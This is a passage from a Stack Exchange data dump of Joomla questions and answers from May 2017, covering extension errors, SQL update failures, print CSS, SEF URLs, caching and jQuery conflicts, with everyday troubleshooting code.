  <row Id="20708" PostTypeId="2" ParentId="20700" CreationDate="2017-05-04T12:53:22.450" Score="0" Body="&lt;p&gt;Thank you guys for your reply. I found the problem, it is a plugin - JA T3 Framework -. I disable it and the website is in the air again. &lt;/p&gt;&#xA;" OwnerUserId="45" LastActivityDate="2017-05-04T12:53:22.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20710" PostTypeId="1" CreationDate="2017-05-04T14:51:40.320" Score="1" ViewCount="1557" Body="&lt;p&gt;This isnt a request for a fix as I have done some research and found that I can add the code below and it should resolve the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!class_exists('JToolbarHelper')) {&#xA;   require_once JPATH_ADMINISTRATOR . '/includes/toolbar.php';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This issue is, in which file do I need to put the code? The exact error is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Class 'JToolbarHelper' not found in&#xA;  /home/waterfro/public_html/new/administrator/components/com_iproperty/helpers/iproperty.php on line 116&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ok updated - my bad, I have 2 joomla installations on the server - Line 116 of the code is the first brace in the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class IpToolbar extends JToolbarHelper&#xA;{&#xA;    public static function approveList($task = 'approve', $alt = 'COM_IPROPERTY_APPROVE')&#xA;    {&#xA;        $bar = JToolbar::getInstance('toolbar');&#xA;        $bar-&amp;gt;appendButton('Standard', 'thumbs-up', $alt, $task, true);&#xA;    } &#xA;&#xA;    public static function unapproveList($task = 'unapprove', $alt = 'COM_IPROPERTY_UNAPPROVE')&#xA;    {&#xA;        $bar = JToolbar::getInstance('toolbar');&#xA;        $bar-&amp;gt;appendButton('Standard', 'thumbs-down muted', $alt, $task, true);&#xA;    }&#xA;&#xA;    public static function featureList($task = 'feature', $alt = 'COM_IPROPERTY_FEATURE')&#xA;    {&#xA;        $bar = JToolbar::getInstance('toolbar');&#xA;        $bar-&amp;gt;appendButton('Standard', 'star', $alt, $task, true);&#xA;    } &#xA;&#xA;    public static function unfeatureList($task = 'unfeature', $alt = 'COM_IPROPERTY_UNFEATURE')&#xA;    {&#xA;        $bar = JToolbar::getInstance('toolbar');&#xA;        $bar-&amp;gt;appendButton('Standard', 'star-empty', $alt, $task, true);&#xA;    }&#xA;&#xA;    public static function superList($task = 'super', $alt = 'COM_IPROPERTY_SUPER')&#xA;    {&#xA;        $bar = JToolbar::getInstance('toolbar');&#xA;        $bar-&amp;gt;appendButton('Standard', 'plus', $alt, $task, true);&#xA;    } &#xA;&#xA;    public static function unsuperList($task = 'unsuper', $alt = 'COM_IPROPERTY_UNSUPER')&#xA;    {&#xA;        $bar = JToolbar::getInstance('toolbar');&#xA;        $bar-&amp;gt;appendButton('Standard', 'minus', $alt, $task, true);&#xA;    }&#xA;&#xA;    public static function clearHits($msg = '', $task = 'clearhits', $alt = 'COM_IPROPERTY_CLEAR_HITS')&#xA;    {&#xA;        $bar = JToolbar::getInstance('toolbar');&#xA;&#xA;        if ($msg)&#xA;        {&#xA;            $bar-&amp;gt;appendButton('Confirm', $msg, 'refresh', $alt, $task, true);&#xA;        }&#xA;        else&#xA;        {&#xA;            $bar-&amp;gt;appendButton('Standard', 'refresh', $alt, $task, true);&#xA;        }&#xA;    }&#xA;&#xA;    public static function saveCatList($task = 'saveCats', $alt = 'JTOOLBAR_APPLY', $check = false)&#xA;    {&#xA;        $bar = JToolbar::getInstance('toolbar');&#xA;        $bar-&amp;gt;appendButton('Standard', 'publish', $alt, $task, $check);&#xA;    } &#xA;&#xA;    public static function backupBtn($task = 'backupDB', $alt = 'COM_IPROPERTY_BACKUP', $check = false)&#xA;    {&#xA;        $bar = JToolbar::getInstance('toolbar');&#xA;        $bar-&amp;gt;appendButton('Standard', 'new', $alt, $task, $check);&#xA;    }&#xA;&#xA;    public static function restoreBtn($task = 'restoreDB', $alt = 'COM_IPROPERTY_RESTORE', $check = false)&#xA;    {&#xA;        $bar = JToolbar::getInstance('toolbar');&#xA;        $bar-&amp;gt;appendButton('Standard', 'new', $alt, $task, $check);&#xA;    }&#xA;&#xA;    public static function backBtn($alt = 'JTOOLBAR_BACK', $href = 'javascript:history.back();')&#xA;    {&#xA;        $bar = JToolbar::getInstance('toolbar');&#xA;        $bar-&amp;gt;appendButton('Link', 'arrow-left', $alt, $href);&#xA;    }&#xA;&#xA;    public static function importBtn($task = 'import', $alt = 'COM_IPROPERTY_IMPORT', $check = false)&#xA;    {&#xA;        $bar = JToolbar::getInstance('toolbar');&#xA;        $bar-&amp;gt;appendButton('Standard', 'new', $alt, $task, $check);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me try and locate the correct location to add the require? I'll happily provide some more information should it be needed. &#xA;Thanks&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-05-04T18:18:57.060" LastActivityDate="2018-12-02T23:55:13.693" Title="JToolbarHelper not found error - advice on which file to fix it?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="20712" PostTypeId="2" ParentId="20710" CreationDate="2017-05-04T18:24:46.937" Score="0" Body="&lt;p&gt;Ok, I just added the code below at the top of the file and the page loads correctly :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!class_exists('JToolbarHelper')) {&#xA;   require_once JPATH_ADMINISTRATOR . '/includes/toolbar.php';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for all you support as always.&#xA;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-05-04T18:24:46.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20713" PostTypeId="1" AcceptedAnswerId="20715" CreationDate="2017-05-04T19:55:30.240" Score="2" ViewCount="238" Body="&lt;p&gt;I have been troubleshooting this all morning and am stuck. Hoping someone can help. Using Joomla! 3.7.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a component that contains a number of MySQL update files. These files have been working flawlessly until now. In administrator/components/com_example/sql/updates/mysql/ there are files for every version of my extension from 1.0.0 to 1.0.10 (the current version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can verify that every update script ran as expected when the component was updated up to version 1.0.7 (both 1.0.8 and 1.0.9 were just placeholders that contained no database changes). For whatever reason, the update file for 1.0.10 is not running. No error is thrown. I have copied the (very basic) SQL into PHPMyAdmin and it runs without issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be suddenly causing my SQL updates not to run?&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2017-05-04T22:10:16.267" Title="Component SQL Updates Not Running" Tags="|joomla-3.x|mysql|extension-update|joomla-3.7|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20715" PostTypeId="2" ParentId="20713" CreationDate="2017-05-04T22:10:16.267" Score="4" Body="&lt;p&gt;Figured this out. There was a bad version number in the #__schemas table. I rolled that version number back to a valid one and the updates work again.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2017-05-04T22:10:16.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20716" PostTypeId="2" ParentId="20707" CreationDate="2017-05-05T06:55:00.807" Score="1" Body="&lt;p&gt;You need to put that field into the params fieldset, have a look how com_content did it. Then you need to do $item-&gt;params-&gt;get('test');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also extend from JFormFieldList and then override the getOptions function, then ill be the select generated automatically.&lt;/p&gt;&#xA;" OwnerUserId="56" LastActivityDate="2017-05-05T06:55:00.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20718" PostTypeId="1" AcceptedAnswerId="20719" CreationDate="2017-05-05T11:31:33.297" Score="0" ViewCount="89" Body="&lt;p&gt;I'm not sure whether this is Joomla related or general however, When clicking print on the following page there should be images at the bottom of the page where it says sponsors, no matter what I do i cannot seem to get the images to display. I've checked and it isn't the 'Background and images' setting in the print dialogue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to page for printing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a print.css file which has the following css in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    @media print{&#xA;       .prog a{display:none;}&#xA;       .prog img, .news {display:none;}&#xA;       .prog .span8 .row-fluid {margin-bottom:0;}&#xA;        .accordion-inner {display:none;}&#xA;        #footer ul {display:none;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just cannot get the images to appear - can any one advise what I am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&#xA;D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:Link Removed&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-06-23T09:34:53.500" LastActivityDate="2017-06-23T09:34:53.500" Title="Images missing from print view - K2" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20719" PostTypeId="2" ParentId="20718" CreationDate="2017-05-05T11:51:09.063" Score="0" Body="&lt;p&gt;There is a class called &lt;code&gt;prog&lt;/code&gt; on your body tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that &lt;code&gt;.prog a{display:none;}&lt;/code&gt; and &lt;code&gt;.prog img {display:none;}&lt;/code&gt; will hide any link and any image on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to apply these styles to your left column, then replace &lt;code&gt;.prog&lt;/code&gt; with &lt;code&gt;#main&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems a CSS issue rather than a Joomla one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, learning to use your console's CSS inspector is the best way to find out why things are or are not appearing.  If you temporarily remove the    &lt;code&gt;@media print{&lt;/code&gt; (and closing brace) from the print stylesheet then you can see in browser how it will look to a printer.  You can also do this via various in-browser means depending on which browser you are using - see &lt;a href=&quot;https://stackoverflow.com/questions/2452713/suggestions-for-debugging-print-stylesheets&quot;&gt;https://stackoverflow.com/questions/2452713/suggestions-for-debugging-print-stylesheets&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:52.207" LastActivityDate="2017-05-05T11:51:09.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20720" PostTypeId="1" CreationDate="2017-05-05T16:42:23.713" Score="0" ViewCount="328" Body="&lt;p&gt;i need an export of all Joomla Articles in a specific category, but with the URL they are on. (So introtext, fulltext, url)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody a quick way how I can get the Joomla SEF Url if i only have the article ID? &lt;/p&gt;&#xA;" OwnerUserId="9528" LastActivityDate="2017-05-05T20:05:06.920" Title="Get Joomla SEF Url from Database Query" Tags="|joomla-3.x|sef|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20721" PostTypeId="2" ParentId="20720" CreationDate="2017-05-05T20:05:06.920" Score="1" Body="&lt;p&gt;You can use jroute and the contenthelperroute to get the sef urls.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_(ContentHelperRoute::getArticleRoute($id, $catid, $language));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you only have the article ID's you can try this without $catid and $language. They are optional.&lt;/p&gt;&#xA;" OwnerUserId="265" LastActivityDate="2017-05-05T20:05:06.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20722" PostTypeId="2" ParentId="20664" CreationDate="2017-05-05T20:55:39.343" Score="1" Body="&lt;p&gt;After a lot of searching, my host pointed out the fact that they use Varnish, which is a cache system, incompatible with Joomla, by default. They didn't seem eager to edit its settings, but they told me to add the following to my &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Header add &quot;disablevcache&quot; &quot;true&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After doing so, the issue was resolved within 24 to 36 hours.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2017-05-05T20:55:39.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20723" PostTypeId="1" CreationDate="2017-05-05T21:24:09.633" Score="0" ViewCount="784" Body="&lt;p&gt;I'm having an issue while updating Joomla 3.6.5 to 3.7.0. Always when I try to update I get a Error message saying: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JFTP: :append: Bad response&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So far I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Checked FTP settings in Configuration&lt;/li&gt;&#xA;&lt;li&gt;Tried CHMOD 777&lt;/li&gt;&#xA;&lt;li&gt;Played around with cache a bit in Configuration&lt;/li&gt;&#xA;&lt;li&gt;Tried different types of the upload (Direct, Hybrid, FTP only)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Recently (about a month ago) I've updated the site to 3.6.5 with no hassle and problems. Configuration has never really changed after that, however we did have problems with the server (Service Provider) - last week &quot;the PHP tried to run through FastCGI&quot; (have no idea what it means, that's the exact quote from the server administrator who also said they solved it with restarting the server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Jan&lt;/p&gt;&#xA;" OwnerUserId="9219" LastActivityDate="2017-05-08T00:46:58.207" Title="JFTP: :append: Bad response when updating to Joomla 3.7.0" Tags="|update|joomla-3.7|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20725" PostTypeId="1" CreationDate="2017-05-06T14:03:02.260" Score="0" ViewCount="631" Body="&lt;p&gt;Hi I backed up a joomla 3.0 site from production server with database backup too. I was using xampp 1.8 version which is old and everything was fine when i set up that joomla site under xampp(localhost) development environment(as normally everyone know the process that i first import the backed up db to a new db and link that db modifying joomla config file..then i put all files under htdocs/joomla3 folder..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now i installed xampp latest version 7.1... or 5.6...and when i set up that joomla site and run it like &lt;a href=&quot;http://localhost/joomla3&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost/joomla3&lt;/a&gt; i see error that this page not working.when i went for admin login i see just login boxes with no styles and login not works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I turned off display errors in php.ini but no results.When i set display errors to maximum in joomla config file i see some notice errors like that codes deprecated in that joomla library files and other notice errors mostly. If i do a fresh joomla 3.7 install then things ok so What is wrong when i restore a backed up joomla site or install old joomla 3 versions in xampp latest version ? same behavior happens for joomla 2.5 sites too.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2017-05-06T20:04:54.403" LastActivityDate="2017-05-06T20:04:54.403" Title="Some joomla versions not running in latest xampp environment" Tags="|joomla-3.x|php|joomla-2.5|xampp|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20726" PostTypeId="2" ParentId="20697" CreationDate="2017-05-06T17:25:10.437" Score="0" Body="&lt;p&gt;I'm still not sure why it doesn't work this way, but I've now found that &lt;code&gt;find ...directory&lt;/code&gt; also includes the directory itself. So I've now changed the chmod commands to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;find public_html/cache/ public_html/administrator/cache/ public_html/logs/  -type f ! -user apache -exec chmod 666{} \;&#xA;find public_html/cache/ public_html/administrator/cache/ public_html/logs/ -type d ! -user apache -exec chmod 777{} \;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That works for me. I recon that during shell execution in a row, it errors out once it encounters a file/directory where the script does not have rights to chmod.&lt;/p&gt;&#xA;" OwnerUserId="2252" LastActivityDate="2017-05-06T17:25:10.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20727" PostTypeId="1" AcceptedAnswerId="20798" CreationDate="2017-05-06T23:09:29.013" Score="0" ViewCount="121" Body="&lt;p&gt;Just need a little bit of help with this extension: &lt;a href=&quot;https://extensions.joomla.org/extension/filter-for-k2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/filter-for-k2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it is a dropdown filter for K2 articles. My problem is that after you make a selection it will filter and display the articles for that category but then the reset button stops working and the dropdown selector no longer drops down..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see it here: &lt;a href=&quot;https://mcrlogs.com/mcr_group/index.php/divisions/flooring/case-studies&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mcrlogs.com/mcr_group/index.php/divisions/flooring/case-studies&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla! 3.7, PHP7 &amp;amp; MySQL 5.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there is only a small javascript problem but I have no idea how to find it as I don't know javascript very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could help out I would highly appreciate it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11036" LastActivityDate="2017-05-16T09:39:27.063" Title="K2 Category Filter Extension freezes after selection and filter" Tags="|k2|content-filtering|joomla-3.7|php7|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20728" PostTypeId="1" CreationDate="2017-05-07T09:40:06.407" Score="0" ViewCount="994" Body="&lt;p&gt;I am working on the following site: &lt;a href=&quot;https://www.jls-concept.fr/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.jls-concept.fr/&lt;/a&gt;&lt;br&gt;&#xA;The template is loading jQuery twice:&lt;br&gt;&#xA; - once from Joomla: &lt;a href=&quot;https://www.jls-concept.fr/media/jui/js/jquery.min.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.jls-concept.fr/media/jui/js/jquery.min.js&lt;/a&gt;&lt;br&gt;&#xA; - and another time here: &lt;a href=&quot;https://www.jls-concept.fr/templates/superfine/assets/js/assets.min.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.jls-concept.fr/templates/superfine/assets/js/assets.min.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where the template author wisely decided to put the minification of several javascript libraries there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried removing the extra jQuery in assets file, but the site stops working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried changing the content of both js files, trying to make both load the same version but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have much expertise with joomla nor frontend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated. &lt;/p&gt;&#xA;" OwnerUserId="9765" LastActivityDate="2017-05-13T20:26:44.217" Title="Template loading jQuery twice, removing either versions breaks the site" Tags="|templates|jquery|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20729" PostTypeId="2" ParentId="20728" CreationDate="2017-05-07T12:33:32.347" Score="1" Body="&lt;p&gt;I suspect the issue may be that Joomla's jQuery is set no noconflict mode. Adding the second instance of jQuery is then probably allowing scripts to  us &lt;code&gt;$&lt;/code&gt; as a jQuery reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try removing the template's jQuery code and adding the following in its place:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ = jQuery.noConflict(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should mean subsequent scripts can once again use the dollar to represent jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, try looking at your console (F12) to see what javascript errors are being thrown.  Adding this to your question may help locate the source of the problem.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-05-07T12:33:32.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20731" PostTypeId="1" CreationDate="2017-05-07T21:15:46.537" Score="0" ViewCount="147" Body="&lt;p&gt;I have Joomla 3.5 on Windows pro 7.&#xA;I went and downloaded Ark Editor. Extention Manager says it is successfully installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to global configurations to activate, but is not showning in drop down menu.&lt;/p&gt;&#xA;" OwnerUserId="11040" LastActivityDate="2024-04-01T17:05:41.043" Title="Can't get ARK editor to replace Tiny Editor" Tags="|plugin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20732" PostTypeId="1" CreationDate="2017-05-08T00:01:30.983" Score="2" ViewCount="935" Body="&lt;p&gt;Please, i need your help in enabling voting/rating in article category blog layout instead of just displaying the rating score.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want users to be able to vote from the category blog layout because there will be no link for the user to go to the full article where they could have voted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After some digging&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that determines the display of of the drop-down box for the selection of votes and voting in articles is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;app-&amp;gt;input-&amp;gt;getString('view', '') === 'article' &amp;amp;&amp;amp; $row-&amp;gt;state == 1) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;found on line 131 of plugins\content\vote.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i changed the 'article' in the code above to 'category', the voting drop-down displayed on the category blog layout but when i selected a score and tried to vote, i got this error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Fatal error: Call to undefined method ContentModelCategory::storeVote() in http://site.com\components\com_content\controllers\article.php on line 349&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please, your inputs and possible solution is highly welcomed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7399" LastEditorUserId="7399" LastEditDate="2017-05-08T04:06:56.710" LastActivityDate="2018-12-31T02:56:43.270" Title="How to enable voting/rating in article category blog layout" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20733" PostTypeId="2" ParentId="20723" CreationDate="2017-05-08T00:46:58.207" Score="-1" Body="&lt;p&gt;You can make direct update with update pack download from &lt;a href=&quot;https://downloads.joomla.org/cms/joomla3/3-7-0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org/cms/joomla3/3-7-0&lt;/a&gt;, then install it via Extension &gt; Manage &gt; Install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also see more information about &lt;a href=&quot;https://enginetemplates.com/how-to-update-your-joomla-website-to-joomla-37/&quot; rel=&quot;nofollow noreferrer&quot;&gt;how to update Joomla! 3.7&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11041" LastActivityDate="2017-05-08T00:46:58.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20734" PostTypeId="2" ParentId="20731" CreationDate="2017-05-08T00:58:54.513" Score="0" Body="&lt;p&gt;If you are also seeing a warning that the component wasn't found, try clearing your site's cache: &lt;strong&gt;System &gt; Clear Cache &gt; Delete All&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="2305" LastActivityDate="2017-05-08T00:58:54.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20735" PostTypeId="2" ParentId="20732" CreationDate="2017-05-08T09:10:56.143" Score="2" Body="&lt;p&gt;Only changing view condition in vote plugin will not work because, for which is submitting data must be directed to the article controller instead of category controller. If you will see this &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/plugins/content/vote/tmpl/vote.php#L35&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/plugins/content/vote/tmpl/vote.php#L35&lt;/a&gt; you will get an idea that form action is current url. Try to change this action to article (you may pass view name in hidden variable like task).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Haven't tested it practically but it should work]&lt;/p&gt;&#xA;" OwnerUserId="4082" LastActivityDate="2017-05-08T09:10:56.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20737" PostTypeId="1" CreationDate="2017-05-08T13:50:28.490" Score="0" ViewCount="161" Body="&lt;p&gt;As title, we need to translate our Joomla site. We have a bunch of home-made components, so those ini-files should be possible to export/import too, but also stuff from the database. The file should then be send to an external translator, like translated.net. Anyone else faced this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked out a number of already existing components to deal with this, like jDiction, Freestyle Translation Manager and FaLang, but I think I would have to Frankenstein them together to get something that's really useful for us and our workflow.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2018-08-01T23:00:57.393" Title="Any way to export/import ini-files, articles, etc to XLIFF?" Tags="|translation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20738" PostTypeId="2" ParentId="19324" CreationDate="2017-05-08T14:59:29.333" Score="1" Body="&lt;p&gt;Some helpful troubleshooting steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Clear all caches - On your Browser and Joomla's. Also check if your hosting provider has any other persisting cache mechanisms in place.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To escape from the &quot;... &lt;strong&gt;Cache Storage is not supported on this platform issue&lt;/strong&gt;&quot;, you can edit directly your &lt;code&gt;configuration.php&lt;/code&gt; file and set the &lt;code&gt;$cache_handler&lt;/code&gt; variable to another setting, like &lt;code&gt;'file'&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $cache_handler = 'file';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;... and could also help if you set the cache off temporary:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $caching = '0';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If with all caches cleared, you still get the broken layout issue - then this likely is caused by a php error. A php error (fatal error somewhere) will stop the execution which could lead to incomplete rendering - broken layouts, missing assets etc. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Php errors can be produced from corrupted files, an incomplete update, or other old outdated code somewhere, or even by files that should be where they are - think also a hacked site - Enable error reporting - make sure that any errors are printed/logged in any case - and start debugging to see if this is the case. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-05-08T14:59:29.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20740" PostTypeId="2" ParentId="20737" CreationDate="2017-05-08T15:17:28.877" Score="1" Body="&lt;p&gt;Seems like &lt;a href=&quot;http://neno-translate.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://neno-translate.com&lt;/a&gt; is a perfect match for you. Does exactly that!&lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2017-05-08T15:17:28.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20741" PostTypeId="1" AcceptedAnswerId="20766" CreationDate="2017-05-08T16:04:27.213" Score="2" ViewCount="1406" Body="&lt;p&gt;I am trying to modify the list view of my Joomla component to display my table's data in a more user-friendly fashion. It currently simply displays all data in a regular table with columns and rows, like such:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HkSzQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HkSzQ.png&quot; alt=&quot;Current database list view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want the data to display partly in the title, partly in a drop-down menu. I have made an example of the format I am shooting for on &lt;a href=&quot;https://jsfiddle.net/wn71Lh5v/7/&quot; rel=&quot;nofollow noreferrer&quot;&gt;jsfiddle&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, I am new to PHP and I am not sure how to turn my static HTML code into dynamic PHP code. I want each row to display its data with an independently-functioning dropdown menu (the click events are currently linked together). What's more, I want each row to have its own &quot;indicator light&quot; which shows how full each classroom is based on that row's own &lt;em&gt;cap&lt;/em&gt; and &lt;em&gt;att&lt;/em&gt; values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I could see some example code, it would be very helpful. I need to dynamically fill each session menu and dynamically change the status indicator using javascript. It's just too big of a next step to wrap my mind around all at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume I need to put my rows in a list format, fill the list out dynamically using PHP, and then somehow iterate through a loop in my javascript, calling the &lt;em&gt;att&lt;/em&gt;/ &lt;em&gt;cap&lt;/em&gt; values for each row and 